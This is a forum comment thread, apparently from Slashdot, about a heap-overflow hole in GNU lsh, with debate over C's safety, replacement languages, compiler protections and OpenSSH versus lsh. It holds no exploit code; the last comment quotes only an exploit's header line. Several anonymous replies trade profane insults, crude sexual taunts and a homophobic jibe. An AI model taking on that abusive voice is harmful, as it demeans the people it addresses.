At any rate, diversifying software is a tradeoff. It may blunt the damage caused by worms, although millions of users divided by a handful of implementations is still a lot of machines. And the downside is that it also "diversifies" the code review. If you have 40 different projects instead of a single well-tested one, there's a much higher chance of bugs going undetected. So a traditional single target worm may not spread easily, but you have more vulnerable machines out there that could be hacked and used in DDOS attacks, etc.

Re:Still diversity is good.

[Anonymous Coward]

Not to mention that the "diversity" argument only works in the extreme case.

Take Microsoft Outlook. It's only got 30% or so of the mail client market, but it still gets raped by viruses (often using 2 year old exploits). The key point is that's 30% of 95% -- and that's a huge still a huge slice of the pie, even given the massive amount of diversity in Win32 mail clients.

Really, the core of this bogo-biological "diversity" argument is typical geek loserdom. "Boo hoo. Woe is me. I'll never get laid and I use software rejected by 99.99% of the market place. At least I won't get Herpes^WViruses."

Re:Still diversity is good.

[Goo.cc]

"It has worried me for a while that OpenSSH has become the standard, which, unfortunately, creates a monoculture."

I know what you mean. I feel the same way about the overpromotion of Linux over the BSDs.

Re:Still diversity is good.

[Anonymous Coward]

What SSH implementation do you use?

Re:Still diversity is good.

[Webmonger]

The argument is that using lsh makes you a minority group that's not worth targetting for worm writers. So it certainly could increase your security.

After 20+ years of buffer overflow exploits...

[kcbrown]

...you'd think that developers would finally know how to write software that doesn't have such vulnerabilities.

But unfortunately we don't seem to have made that much progress, despite the reasonably large number of development tools we have that address such issues (including anything from memory debuggers to string libraries). I mean, really ... people are still writing these things in C ... in the 21st century! I'm a big fan of picking the right tool for the job, but I think it should be clear by now that C isn't the right tool for writing secure software. There are simply too many ways to screw up.

I think it's time we started writing system software (that is, software which provides services but which runs as a process under the OS) in a language which doesn't have these problems. And if a suitable language is unavailable, that argues strongly for creating that language.

You might still have to worry about buffer overflow exploits against the kernel, but that's a much more manageable problem.

Re:After 20+ years of buffer overflow exploits...

[Garen]

Took the words right out of my mouth. For large scale software that's this critical, we really need more safety guarantees to achieve adequate confidence that it's secure. That rules out C.

Re:After 20+ years of buffer overflow exploits...

[burns210]

yes, move all system software(gnu tools, bash scripts) to ada! if it is good enough to run a strike fight it is good enoug to run my computer

Re:After 20+ years of buffer overflow exploits...

[coene]

OpenBSD is getting VERY close. It's taken a lot of design thought, a lot of eyes, a lot of manpower, and a lot of time, but OpenBSD is getting very close.

I'll agree that C lends itself to these things, but its the standard for a number of reasons, and frankly, anything else will introduce the same types of problems.

Building on what we have makes the most sense, and given a bit more time, I'm confident that OpenBSD will be there.

Re:After 20+ years of buffer overflow exploits...

[2Bits]

That was something on my mind, when the problem was announced for openssh.

One thing we could do would be to "deprecate" funtions/modules that are known to be insecure, a la Java, and phase in the more secure ones. Like those old string manipulation funtions, if we can't make them secure and have already introduced something better, why not phasing them out?

And make the compiler flag it when it finds any deprecated functions.

Introduce this phase-in period over 2 to 3 years, that should be enough time for everyone to update their software, if that software is still maintained. And it's not maintained anymore, you prolly should be looking for something new anyways, unless your machine is not connected to the network, and you do not (absolutely not) introduce any new component to the system, or unless if you don't give a damn that the machine is owned.

If we are conservative, maybe introduce the phase in/out period longer, like 5 years or so.

I don't really give a darn about maintaining backward compatibility at all cost. Backward compatibility is good, but not at all cost. Software is an evolving thing. I code for a living, it sure is a pain, but sometimes, I just feel it's necessary to cut the bond and move to the next level.

Re:After 20+ years of buffer overflow exploits...

[Jeffrey Baker]

I already have a compiler that can flag deprecated functions. This magical compiler is known as "gcc", and it has even been included on some Linux systems, recently.

#warning Ignorance is embarrassing

Re:After 20+ years of buffer overflow exploits...

[Anonymous Coward]

You mean it only took 22 years to remove almost all the buffer overflows from BSD UNIX? What kind of argument is that?

One could have easily reimplemented the whole thing in a 'safe' language in that time.

Re:After 20+ years of buffer overflow exploits...

[2Bits]

Yeah, but after the phase-out period, you really have to remove the deprecated functions, not just leaving them there forever. That would force everyone who maintains softwares to upgrade.

And this deprecation mechanism must be emphasized. If the functions are known to be insecure and not fixable, this has to be emphasized. Like in Java, when the class or method is deprecated, it's really explained why (e.g. not secure, not thread safe, etc), and points to the replacement.

The C/C++ community does not seem to emphasize this very much.

Re:After 20+ years of buffer overflow exploits...

[kcbrown]

I'll agree that C lends itself to these things, but its the standard for a number of reasons, and frankly, anything else will introduce the same types of problems.

There will always be security vulnerabilities in software, of course. But buffer overflows are a class of vulnerabilities that simply shouldn't exist. C is unsuitable for system software because there are far too many ways (both subtle and gross) to wind up with buffer overflow bugs. It's what happens when the language is designed to make direct memory access easy.

You have to remember that C wasn't created to make writing system software easy, it was created to make writing operating systems easy. For that you have to be able to manipulate memory directly, and C is very well suited to that mission.

System software has different needs. It needs to be able to send and receive data, to manipulate strings, and to store and retrieve information from files, and do so securely. You may still need to manipulate buffers but that's a far cry from needing to manipulate memory directly. System software is very different from operating systems, and calls for a different language.

Re:After 20+ years of buffer overflow exploits...

[Chester K]

I think it's time we started writing system software (that is, software which provides services but which runs as a process under the OS) in a language which doesn't have these problems. And if a suitable language is unavailable, that argues strongly for creating that language.

Careful there tiger, you're starting to sound exactly like Microsoft --- that's what they're in the middle of doing with C#; and we certainly don't want to imply that the OSS community needs to play catch-up with Microsoft when it comes to security practices.

Re:After 20+ years of buffer overflow exploits...

[Anonymous Coward]

So what's the gcc option called?

Re:After 20+ years of buffer overflow exploits...

[Anonymous Coward]

> I code for a living, it sure is a pain, but sometimes, I just feel it's necessary to cut the bond and move to the next level.

the opinion of an engineer on that subject is useless.

"I know engineers--they love to change things..."
-- Leonard McCoy, Lt-Cdr UFP, retired

You are an engineer. Don't use that as an excuse. You've /never/ wanted backward compatibility.

Ask /users/ instead.

Re:After 20+ years of buffer overflow exploits...

[MisterFancypants]

Careful there tiger, you're starting to sound exactly like Microsoft --- that's what they're in the middle of doing with C#; and we certainly don't want to imply that the OSS community needs to play catch-up with Microsoft when it comes to security practices.

As far as buffer overflows go, Microsoft is attacking this not just in C#, where it is a part of the language design (as it is in Java), but in C++ as well. Newer versions of Visual C++ have native support for buffer overrun checking as part of the compiler. Just go to the project's property page/C++ options/Code Generation and select "Buffer Security Check" to yes... And the runtime hit isn't there, but is very very minor, not enough that the standard internet service or such would ever notice it.

Re:After 20+ years of buffer overflow exploits...

[fw3]

There are several available solutions to this

Libsafe, one of the oldest use LD_PRELOAD to replace the dozen-odd most often problematic library functions with safe/checked versions. It's been available for several years. Requires no code modifications (beyond setting the LD_PRELOAD env).

Propolice, stackguard, patches to Gcc / kernel provide various stack protections. Propolice has been built into OBSD for about a year now. These require object recompilation. PaX provides various randomizations thru the kernel. All fo these significantly complicate the attakers task.

Re:After 20+ years of buffer overflow exploits...

[Anonymous Coward]

And we are still waiting for ssh in Ada.

Re:After 20+ years of buffer overflow exploits...

[vt0asta]

First things, first. C was meant to be a highly portable version of assembly. C successfully facilatated porting operating systems AND applications that used those operating systems.

People often think of C the wrong way, and that is often because languages considered "safe" borrow heavily from C syntax. If you have ever programmed in assembly/machine language, you know the programming bugs can do quite nasty and unexplained things (sometimes much worse than a buffer overflow). However, having coded in assembly one often becomes more rigorous with their coding, that same rigor is what is needed to carry over to C, and is what is lacking with some of the C coders of today.

Second, system software also often needs a low memory footprint. System developers often want to know where every little bit of memory went, and often find compiled code barely tolerable. Not everyone can afford the luxury of loading a perl, python, java, byte code interpretor du jour just to send and read data, manipulate strings, and do stuff with files.

System software is very different from operating systems, and calls for a different language.

Maybe you're right, problem is, many have tried almost all have failed to gain popularity for systems coding. Big problem for your argument and for developers who know, almost all of those different languages were first written in...drum roll...."C".

Re:After 20+ years of buffer overflow exploits...

[Nucleon500]

I think there are plenty of suitable languages. What about Ruby, Python, Perl, C++, Parrot, Java, or Bash?

Re:After 20+ years of buffer overflow exploits...

[Minna Kirai]

New fighter-jet software is written in C++.

Re:After 20+ years of buffer overflow exploits...

[Anonymous Coward]

we certainly don't want to imply that the OSS community needs to play catch-up with Microsoft when it comes to security practices

Why not? The OSS community plays catch-up with MS when it comes to market share, impactful marketing, a unified GUI for developers, revenue for third party software companies, salaries for developers, etc. etc.

Re:After 20+ years of buffer overflow exploits...

[batkins]

I'm probably not going to get a lot of agreement here, but Perl is an excellent candidate for what the OP was talking about.

Like Java, Perl is invulnerable to buffer overflows. It's also open-source, which means that any security problems in the core are easily detectable.

Perl encourages code reuse with the Comprehensive Perl Archive Network (search.cpan.org). Code is submitted to CPAN and gradually improved over time. This means that you can use well-tested components in your application without starting from scratch.

The only place Perl falls short for server usage is its memory management. Perl programs tend to have hefty footprints. From what I understand, though, Parrot and Perl 6 should help clear this up.

Re:After 20+ years of buffer overflow exploits...

[Anonymous Coward]

You probably misunderstand how computers languagues work. Java is a higher lang made in a medium lang called C. All those langs (perl, phython, java, C) will be translated to code machine. Using java/perl whatever dont mean that buffer overflows/.. cant happen. I prefer to code C, cause I trust more in me than into someone from Sun who implemented the buffer classes.

Re:Have to be happy...

[Anonymous Coward]

Your use of the word "asshat" verifies your irrelevance.

Die.

Another forum for bashing Microsoft

[KingRob]

Another week, another bug, another thread bashing Microsoft for software weaknesses.
When will Slashdot moderators *get it* ?

All software has bugs! Due to popularity, some software bugs are more actively sought that others.

Re:Another forum for bashing Microsoft

[UserGoogol]

And this, my friends, is why software should never be popular. Use OpenBSD!

Warning. The preceeding has been detected by Slashdot to contain sarcasm. OpenBSD is, of course, wonderful. Unlike those commies using FreeBSD.
--The Management

Re:Another forum for bashing Microsoft

[1s44c]

Another week, another bug, another thread bashing Microsoft for software weaknesses.

No, we are discussing a explotable bug in lsh, Microsoft didn't write lsh.

All software has bugs! Due to popularity, some software bugs are more actively sought that others.

Just the kind of thing a microsoft paid troll would say, It's one of those stock statements that people use as an excuse for doing a really bad job.

I should start a public list of you guys.

Re:Another forum for bashing Microsoft

[iggymanz]

People LIKE ME pay alot of money for microsoft software. And for my hard earned money, and my company's money, I get insecure crap that is flawed by stupid design (like for instance, executing attachements AS A FEATURE).

All my open source software cost me $0, and has never once let an intruder in or brought my system to its knees.

We have a right to bash. I've wasted weeks of my life because of Microsoft's poor quality control and lack of source code control.

Re:Another forum for bashing Microsoft

[Anonymous Coward]

Whats going on in this thread? This wasnt a Microsoft bug. Was an overflow in some open source software called ish I think.

Re:Another forum for bashing Microsoft

[Captain McCrank]

Lack of source code control???!?

When was the last time you saw the XP source?

As far as the "stupid" design of whatever it is you didn't specify is concerned, which OS could your mother run? Design is a complex topic, and you appear to be completely unprepared to tackle the subject. Given a choice between Visual studio, and any other IDE, which would you choose? Design and security are not equal, kiddo.

Re:Another forum for bashing Microsoft

[Anonymous Coward]

But VB is so gay, like your mom.

Re:Another forum for bashing Microsoft

[whig]

"OpenBSD is, of course, wonderful. Unlike those commies using FreeBSD."

ObMontyPython:

Splitters!

Re:Another forum for bashing Microsoft

[gl4ss]

even your mother could run, say, knoppix, and if not that she could certainly run at least beos(which to use and even configure is a lot simpler than windows by design). windows is not 'very easy to use for anyone' from the day one, most people alive that have to use it as desktop just have been using a system like it for the better part of the last 10 years.

the windows as an os IS an insecure system by _design_, even ms admits that(heck, they don't recommend rpc to be used in possibly hostile environments even, though they activate it by default). it could be a secure system by execution but by all means it wasn't _designed_ to be secure from the day 1.

Re:Another forum for bashing Microsoft

[Anonymous Coward]

And due to the use of improper languages for developping it (C/C++), some software's bugs have far worse consequences (give anyone root access) than others (simply crash the application)

Re:Another forum for bashing Microsoft

[antiMStroll]

Did you accidentally post to the wrong thread? Most of the highly moderated posts bash OSS. Billy have you guys working weekends now?

Re:Another forum for bashing Microsoft

[iggymanz]

I can't answer how I know about MS source code control problems. But it shows in their product problems

Our mothers could run NeXTSTEP or Mac System 6,7 or OS/X just fine.

Visual studio?????????? How would that help me write platform independent code on operating systems that I have been PAID to write for: Solaris, IRIX, Linux, AIX, HP/UX as well as Windows? I can assure you far superior development environments exist for any langauge in common use you care to name (C, C++, Objective C, Java), except perhaps Visual Basic (which is of no interest/use/monetary gain to me)

Re:Another forum for bashing Microsoft

[iggymanz]

heh, I should have also added I've been paid to do Oracle PSQL and LISP and COBOL/Java integration in the last 10 years.......which Visual Studio product would I use to do that?

Re:lsh is not secure

[Anonymous Coward]

Beware the goatse.cx link referenced above. (ya didn't get me, btw. I'm blind already, and my reader started up with the "the goatse.cx lawyer blah blah")

A replacement for C?

[guacamole]

Does there exist a good replacement for C? Obviously, things aren't getting any better even though most programmers are aware of and try to avoid various types of typical C problems like buffer overflows, "off by one" errors, "double free" errors, fmt string vulnerabilities, etc. This language should be reserved for low level programming tasks like OS and compiler development only. For other tasks we need an efficient, portable language with automatic memory management, easy string handling, and object oriented facilities. For efficiency reasons, I think that Java or scripting languages like Pythnon are not a good replacement for C. What other alternatives are out there?

Re:A replacement for C?

[scrod]

Common LISP, of course.

Re:A replacement for C?

[Alinabi]

Forget Java and Python. Try LISP.

Re:A replacement for C?

[RevSmiley]

Forth :)

Re:A replacement for C?

[cduffy]

A good replacement for C, eh? How 'bout C? Or, say, C?

Honestly, though: For low-level programming, there *is* no good replacement for C, for a simple reason: the same power that makes it dangerous is also the power that makes it useful. For high-level programming, there are lots of good replacements -- and you just mentioned, and wrote off, two of the best of them.

Java is getting better (witness the presence of the NIO API in 1.4), and I've got strong hopes for C# and its kin -- but part of what makes C# so useful is its simple API for access to C libraries, something that Java makes much harder. That said, for almost all of the high-level programming I do, I use Python (except at work, where I don't always get to pick; in the cases where I don't have the choice, I write Java).

Sure, Python and Java aren't suitable for low-level work -- but that's what C is good for. And since calling from Python down to C is simple, writing optimized versions of performance-sensitive routines is easy, in the rare event that it actually needs to be done (which has, in my five or so years of writing Python, happened all of once, when I needed some efficient drawing routines which were most readily available from a C library without preexisting python bindings).

Compiling Java to native code with GCJ also decreases the startup-time and runtime performance penalty without sacrificing type-safety -- and works for applications using an increasingly large subset of the available APIs.

Scheme is another language that many folks are too quick to write off. Not only does the language have the expected type-safety goodness -- but compiled scheme can be *very* fast. (On the down side, the lack of a useful standard runtime library is very disappointing).

So, yes, for high-level stuff, there are lots of alternatives... but what are you going to write your Python interpreter or low-level libraries in? For some jobs, there's still no good replacement for C. (Further, I'm not by any means convinced that low-level work *should* be done in an OO language... but that's a different conversation).

Re:A replacement for C?

[Captain McCrank]

C# Explicitly encapsulates the functionality of Pointers in Delegates. I believe it's possible to still acheive the same effect of pointers (and thus regain the risk of B.O.'s associated w/ them) but not without explicit calls.

It's obviously not as fast as C in certain situations, but personally I like C# a lot and am focusing my future development efforts in this arena.

Re:A replacement for C?

[smithmc]

Does there exist a good replacement for C?

At the risk of having my head handed to me... C++? I'm kinda fond of it.

Re:A replacement for C?

[Spy Hunter]

Dude. Cyclone looks totally awesome. C, but with modern saftey features? And with ML-style datatypes and pattern matching? If they would just add type inference and a very simple object system, this language might just be the most perfect language ever. Are there any downsides?

Re:A replacement for C?

[Ada_Rules]

Gee..What we need is a language that has been around for a long time. Is ISO standardized. Supports OO. Has the power to do low level programming when required. It would actually have to be fast and efficient . It would also be good if it had run time checks on things like buffer overflows but also made them less likely by the structure of the language itself (e.g. Doing pass and array and a separate array size but have the language know about the size of the array to start with). It would be good if this language already had a free implementation. It would have to work under Windows, Linux, most other Unixs and a lot of embedded targets. It would have to have the option of easily letting the user suppress the run-time checks if required but have them basically on by default. Hopefully we could do something in the language that would at least help reduce bugs. But we have to be realistic too. We probably won't be getting rid of Windows any time soon so this made up language would also need to be able to interface easily to things like COM/DCOM for windows. It should also support things like Gtk+ and GNOME out of the box. Hmm...Sounds Like Ada. Oh but wait..It does not use ugly C syntax so programmers will never use it...Not to mention that problem with the military being involved at the beginning (but lets just overlook that for the whole internet thing)...

Re:A replacement for C?

[smallpaul]

Aren't Pascal and Ada mmune to buffer exploits? I'm not saying it is a great language but it shows that you don't have to make a huge leap in abstraction to get safety. I can imagine an alternate universe where from day 1, C had safe and unsafe string types and you would choose which to use based on whether you prioritized safety/security or performance. Why can't we transition to this alternate universe 30 years later?

Re:A replacement for C?

[not-my-real-name]

Ada.

It's big and clunky and a pain to use on a small project, but it is good for large projects where people can die if it doesn't work correctly. While I wouldn't use it for one of my personal quick-and-dirty projects, I have used it professionally and there are certain classes of errors that are common in C, but impossible in Ada.

Re:A replacement for C?

[cduffy]

One of the useful things about C is that it can be viewed as an abstract version of assembly language -- it's somewhere between "easy" and "trivial" to look at just about any chunk of code and *know* how an unoptimized compiler would implement it. Correspondingly, C encourages a programmer to think in terms not of abstractions, but in terms of what precicely the machine itself is actually doing when running their code. If C had been written with some of the safety features of higher-level languages in mind, I suspect that some varieties of low-level coding -- writing drivers, for instance -- would be negatively impacted (whadaya mean I can't write to this arbitrary pointer value?)... and as long as you *can* write to an arbitrary memory location, your program can still do Bad Things if subverted.

Higher-level languages -- and Ada is among them -- lose this what's-going-on-under-the-hood focus, and tend more towards *forcing* the user to work in terms of abstractions rather than dropping down into high-level-assembly mode when appropriate. I'll agree that thinking in abstractions is a Good Thing in a great many cases -- but writing low-level code just ain't one of them, and that's exactly what C is good for.

Having your compiler be able to choose between "safe and unsafe string types", for instance, means that you've got a high-enough level language that the compiler actually understands what a string is. This (a "string") is an abstraction. C programs don't deal with abstractions on that level -- they deal with null-terminated arrays of 8-bit values, not with "strings". The compiler doesn't know that array-of-8-bit-values $FOO is a "string" and can have its underlying representation changed at will, but that array-of-8-bit-values $BAR happens to be in a memory location which corresponds to the internal memory of some PCI device on the system and must be represented *exactly* as the programmer indicates. Use an abstract language if you want a compiler that understands such things... C is not that language, and it's *intentionally* not that language, because having a sufficiently low-level language is Useful And Good. (Besides, having the compiler choose between multiple internal representations for the same code would be evil, because it means the same code would have different calling conventions based on compiler flags).

It's been years (about 6 of them, I think) since I've written any Pascal, and my memory span is measured in months if not weeks... so I'm going to not touch that thing, except to mention that I'm quite sure every major Pascal compiler vendor had extensions to implement pointer arithmetic on account of the language being difficult to express some algorithms in without it.

And by the way, if this is a whole big long collection of unfocused rambling, I'm *really* short on sleep right now, and am just about to go hit the sack rather than continuing to blather on about things while my brain's too tired to work.

Re:lsh is not secure

[Anonymous Coward]

Parent is goatsex.

Re:Have to be happy...

[Anonymous Coward]

Oh. Well then...

Thanks for being clownshoes.

Thank God!

[Unominous Coward]

I am even more glad than ever that I use telnet!

Re:Thank God!

[Ziviyr]

Its not that funny, I was suspicious about SSH from day one.

Two incidents later I'm not any less appeased.

Can't telnet be tunneled over SSL?

oh, right

[SweetAndSourJesus]

The five people on the planet using ish really slowed down those who sought to exploit the ssh vulnerability.

Re:oh, right

[Anonymous Coward]

Once again, it's Lsh, fucktard.

Shit, at least try and get the name of the application you're slagging off right.

Re:oh, right

[Anonymous Coward]

Give him a break dude. He said he's been drinking since noon. So obviously that means that we all should put up with his drunken ramblings. No matter how inane.

Re:oh, right

[jonabbey]

The number of users of lsh today is immaterial to the question of justification for the lsh team's efforts, really. Ssh is critical stuff to have.. we have alternatives in mail transport servers, ftp servers and clients, web servers, programming languages.. why in the world not for free ssh implementations?

Re:oh, right

[jhunsake]

I've never used ish either. Never even heard of ish! Is there anyone here that's used ish?

(Before you complain... Go Fuck Yourself!)

Re:oh, right

[Anonymous Coward]

Real typical of you GNU/Zealots to personally discredit a valid point just because he mispelled the package name and is drunk.

Fact is, any OpenSSH exploit is immediately going into the script-kiddie arsenal. And, nobody uses lsh, so it's not even worth scanning for.

Re:oh, right

[Anonymous Coward]

Yes I have it on all of my boxes. I have all of them accessible from the Internet on ports 500-507. I have not bothered to patch so I'm wide open. Go ahead and find me if you can.

hubris is never safe

[Build6]

I remember reading the alert for the OpenSSH bug, where one of the options listed was to upgrade to lsh - not "change to", "try using", or anything of the sort, but "upgrade" - and I thought then that that demonstrated an unnecessarily... high-horse-y attitude. I'll bet they regret saying that now... . Humility really IS the best policy.

Re:hubris is never safe

[Anonymous Coward]

high-horse-y

HORSE? WHERE?!?

*drool* marez....

seriously, though

[Unominous Coward]

What is lsh?

Is it just a different implementation of ssh2, or is there more to it than that?

Re:seriously, though

[SmallFurryCreature]

Well as has been pointed out, but worth repeating to counter zealots, lsh was started earlier then openssh to give a free alternative to ssh.

You see lsh is a gnu project. Gnu is a bunch of unwashed hippies who got this silly idea that there should be a base set of utitilities that anyone can use without fear of restrictive licensing or people suddenly claiming ownership and demanding compensation for widely available software. (Disclaimer: read up on gnu policy if you want the complete thruth not just my version of it)

Of course these commies are completly wrong. There clean-room mentality and insistence on strict development practives to avoid any allegations that they use other peoples code show them to belong to the thin-hat brigade. It is not like we ever have to worry about someone suddenly claiming that they infact own the code we thought was free right?

I think that SCO has shown us that Eric S.Raymond and other GNU defenders are right. Sure the hurd was and is a joke. I mean why we had this great linux kernel, what could ever happen to it? (We all hope sco will lose. We also hoped that the MS trial would have gone differently. We hope that software patents will not be accepted in europe. Hope is good. preparing for the worst is wise.)

So what is LSH. A gnu replacement for a widely used tool. At worst it is code that we will never use. So what we don't pay for it. At best it is a ready replacement should something awfull happen to openssh. For now it is an alternative, not proven better or worse. Just a different way of solving a problem. Oh and one that was around BEFORE openssh. :P

that's funny

[Anonymous Coward]

"upgrade to lsh" was recommended

still haven't seen an exploit for the openssh bug. the so called "exploit" that did get released is only a trojan.

Ish instead of OpenSSH?

[coene]

Who would say such a thing? Are you high? Low blood pressure not getting enough of the red stuff to your brain?

You cannot beat the OpenBSD/OpenSSH coding standards, audit process, or documentation. Every software will have bugs, but replacing it with something more likely to have bugs, with a more restrictive license, less documentation, and next to no track record isnt a good idea just because it has "GNU" in it's name.

Re:Ish instead of OpenSSH?

[darketernal]

Would this be a similar situation to GNU TLS versus OpenSSL?

Re:Ish instead of OpenSSH?

[stesch]

You cannot beat the OpenBSD/OpenSSH coding standards, audit process, or documentation.

After reading "The Practice of Programming" (Brian W. Kernighan, Rob Pike) I thought that every current C programmer could write clean code in current projects.

I've looked at the source of OpenSSH, after seeing some strange things in the patch. You call this the product of a current "coding standard"? This is C in the 21st century?

No wonder so many people cry for ssh implementations in more secure languages.

Re:Ish instead of OpenSSH?

[Anonymous Coward]

What do you mean you can't beat the OpenBSD and OpenSSH coding standards? You know how many remote exploits OpenSSH has been responsible for? It's the new bind or sendmail.

Re:Have to be happy...

[Anonymous Coward]

You are both so fucking shit. so so so shit. Ur sex so dirty u cum in sand.

Bitch.

look, man

[SweetAndSourJesus]

I've been drinking since noon, it's now midnight.

Cut me some slack.

I've never heard of lsh, either.

Re:look, man

[Anonymous Coward]

Cut me some slack.

Why the fuck should we, asshole?

Re:look, man

[Anonymous Coward]

Parent has anger problem.

Lot of people are idiots.

[Anonymous Coward]

lot of people suggested GNU lsh

Eat shit, billions of flies can't be wrong.

How about FreSSH?

[Dahan]

Anyone up to finding a root hole in FreSSH, another SSH implementation that nobody's heard of? :)

Re:How about FreSSH?

[Anonymous Coward]

How about somebody sharing the (rumored) exploit for the recent openssh bug?

lsh?

[Sexy Commando]

Hey, for gentoo users, if a piece of software is not in portage tree, it never exists.

At least that's how I feel.

Re:lsh?

[DaCool42]

good thing the people submitting ebuilds don't share your opinions.

Re:lsh?

[Hatta]

Yeah, portage is so convenient it tends to make one lazy. But not any more than BSD ports or debian's apt. It's always easier to use software in your distribution.

Telnet

[Anonymous Coward]

Good thing I'm using something secure like telnet.

Dang...

[BurKaZoiD]

...and I just set up my first Linux box (RH9) a few weeks ago. If I wanted this kind of abuse, I would stick with Microsoft!!! *Sigh* I was really loving Linux too...the freedom, the power, the non-MS-ness...

>;^(

Re:Dang...

[O]

Trust me, your RedHat 9 box was *not* running lsh.

Re:Dang...

[ywl]

Assuming that you're really a newbie. Security is a process, not a product.

Linux is more secure, at least on my hand, because I know what I'm doing on Linux. The openness, modularity and availability of *free* documentation made it easy for me to train myself on it. I believe it'll be much harder and more expensive to bring myself up to the same level of experetise on the various Windows versionS.

If you're serious on learning, give yourself half a year and spend time reading various online documentation. After learning enough, you will probably be like me - don't want to or dare to touching a Windows machine again for fear of what you might have accidentally messed up.

how efficient do you need?

[Vellmont]

Java isn't really _that_ slow. There's a java SSH client I've used that runs as an applet that is small and fast. We aren't running 386s anymore, and encryption just doesn't take up that much processing power.

Maybe a C or C++ ssh daemon would take half the CPU time as one written in Java, but who cares when it's taking up less than 1% of the CPU? Memory and processor are cheap, having your system rooted is expensive.

Re:how efficient do you need?

[Anonymous Coward]

Right on. 99% of the time SSH is used so that One (1) admin can occasionally log into the system and do maintenance work. There's simply no need for this service to be ultra-efficient.

I'd love to see Java replacements for major services (HTTP, FTP, SMTP, SSH), at least for personal use.

Re:how efficient do you need?

[guacamole]

I care a lot about performance of SSH because we're using all time time to large data transfers (backups, or simply copying files between systems, etc).

hang on a minute

[Anonymous Coward]

1) The bug in lsh was a heap overflow, which is somewhat different than the more common stack based attacks.

2) The true underlying problem is the x86 hardware. It is somewhat... lacking in the areas of privilege separation and permissions.

Yes, using well-tested libraries instead of rolling your own can help. Using certain languages can help. But the fundamental weaknesses of the x86 make securing code much more of a headache than it should be.

Re:hang on a minute

[Temporal]

The problems in the x86 hardware to which you refer would be irrelevant if software were written in a language that didn't allow direct pointer manipulation. Memory protection, IMO, is a big hack to solve a problem that shouldn't exist in the first place. Software written in almost any other language than C or C++ doesn't need it. (Well, doesn't need it for security. It's useful for other things.)

OpenBSD != BSD

[Anonymous Coward]

OpenBSD is 8 years old, according to this post. And they've certainly done a lot of security auditing, but that was not the ONLY thing they worked on all this time.

Re:OpenBSD != BSD

[Anonymous Coward]

Only 8 years? Maybe if we gave them 14 more years, they could squash ALL the holes in BSD UNIX.

The only claim to fame that OpenBSD has is that they took legacy dogshit and cleaned it up. That's a tribute to their C coding skills and useful for legacy users, but it certainly doesn't make them the security meisters of the universe.

Re:OpenBSD != BSD

[Anonymous Coward]

Where is you uber-secure OS without the possibility of a remove exploit? Put up or shut up, troll.

Re:OpenBSD != BSD

[Anonymous Coward]

Let's turn this around: Name a remotely exploitable package that's not written in C or C++ (or by idjot coders that allow SQL injection, etc). Anyone?

And to answer your question: OpenVMS, with the UNIX stuff turned off.

advantages of lsh?

[Vellmont]

So can someone tell me why the lsh project exists, and what advantages it offers? The perceived security advantage has evaporated with this real exploit vs openSSH's theoretical exploit. Beyond any idealogical GNU license masturbatory issues, why run lsh? Does it offer features that openSSH doesn't?

ISH the acronym

[Sonnenschein]

Insecure Shell

Re: ISH the acronym

[Anonymous Coward]

Insecure doesnt begin with 'L'?

Re: ISH the acronym

[Sonnenschein]

I have no idea, never heard of this software but its showing up as a captial I (eye) on my screen... could be the font........ shrug, it was late, still haven't been to bed.

Re: ISH the acronym

[Anonymous Coward]

That's Linux fonts for you.

hi

[Anonymous Coward]

thanks for being the third person to point out the mistake.

i hope it makes you feel like a big smart man.

A small problem..

[tuomoks]

I have a small problem with this type ( any type ) of buffer overflow or what ever bugs. Why would anybody read more than they can ? There are only two types of receiving / reading in computers - either the driver buffer or the application buffer. Application level is easy, you tell how big is the memory you can use and the driver gives you that. The driver level is different - you either have to to take what the hardware delivers or to nack it. How difficult is that ? Sorry but after writing 30+ years code on drivers and applications I just don't get it.. Maybe someone could explain it how this can happen ??

Re:A small problem..

[Halo-]

Well, yes you usually know how much you get off the wire from the hardware, but it's the handling of the data afterwards which gets dicey. For example, the portion of SSH fixed had to do with a buffer which grew dynamically as additional information was added. Most buffer overflows are the result of arithimatic errors, not simply "reading more than they can". Think of it like doing a very long equation. Sure, you can mess up in the first steps, the but chances are much greater you're gonna forget to carry a remainder in step 213.

Re:A small problem..

[tuomoks]

Thanks of remeinder - yes, I know. I write framing, compression and crypto routines and you really have to be very careful of that. I personally hate framing, handling 10K users roaming ( i.e. changing the source ) but getting the next frame / window. We had no such problems with HDLC/SDLC - IP is not nice in that sence. Session management is a pain when you have to authenticate / authorize every byte in stream. On other hand, I see a lot of programmers ( and managers ) who have not been educated or experience to even think the issues.

Re:[OT] Re:How to tell if you are a linux fanatic.

[Anonymous Coward]

I've met far more people that refuse to admit that anything other than Microsoft software exists, no matter how badly it fucks them in the ass.

Re:[OT] Re:How to tell if you are a linux fanatic.

[Anonymous Coward]

So you were born and raised in the sheltered workshop, and you won't be leaving any time soon?

Who cares if it's Lsh or Ish?

[Anonymous Coward]

Whatever it is, it's an insecure peice of shit.

Smug.

[Alioth]

Serves those smug bastards right who were gloating the other day about how they use lsh and how it is so much better than OpenSSH. Hoist by their own petard, so it seems.

I _never_ gloat about running different software to $COMPROMISED_SW of the day. Just because I run exim, I don't think I'm magically more secure than a sendmail user. Exim users must keep up with the patches as well. Same goes for qmail. If you sit there smugly saying how superior your piece of software is, you're going to get bitten in the ass sooner or later, or at least end up looking very silly after all the gloating to find you're vulnerable too.

Dudes, doesn't matter what you run: don't gloat about it - be paranoid about the security of what you run, and keep up with the patches.

Re:Smug.

[quigonn]

There haven't been (official) patches for qmail for years, troll.

Re:Smug.

[Anonymous Coward]

Doesn't calling a troll a troll make you a troll?

Re:Smug.

[Anonymous Coward]

Doesn't calling a troll a troll make you a troll?

I don't know, but calling a troll who calls a troll a troll a troll definitely makes you a troll.

Re:Smug.

[Big Jason]

Yeah, like that douchebag Bennett Todd on Full-Disclosure claiming that a remote root exploit in OpenSSH was unacceptable and that he was promptly switching to LSH.

Funny thing is, someone released a root exploit for LSH to the list a few days later. I have yet to see a (working) exploit for OpenSSH.

Re:Smug.

[antiMStroll]

Sounds to me like you're gloating over not gloating.

Re:Smug.

[Alioth]

Just because there hasn't been one for years doesn't mean there isn't one that's going to come out next week. If you call someone a troll because they express the view that all software is potentially buggy and may need security patches, you have a very hazardous attitude to security indeed. Perhaps we really do need to license MTA operators sooner rather than later.

Re:Smug.

[Anonymous Coward]

Yeah, but it sounds to me like you're gloating over his gloating over not gloating.

But then again, I'm gloating over your gloating over his gloating over not gloating.

mod parent up!

[Frymaster]

that was the first actually funny thing i have read here all week! and it's saturday!

Comment from code

[xmda]

Rough and ready exploit for lsh 1.4.x (other versions ?)
by Haggis aka Carl Livitt - carl.learningshophull@co@uk

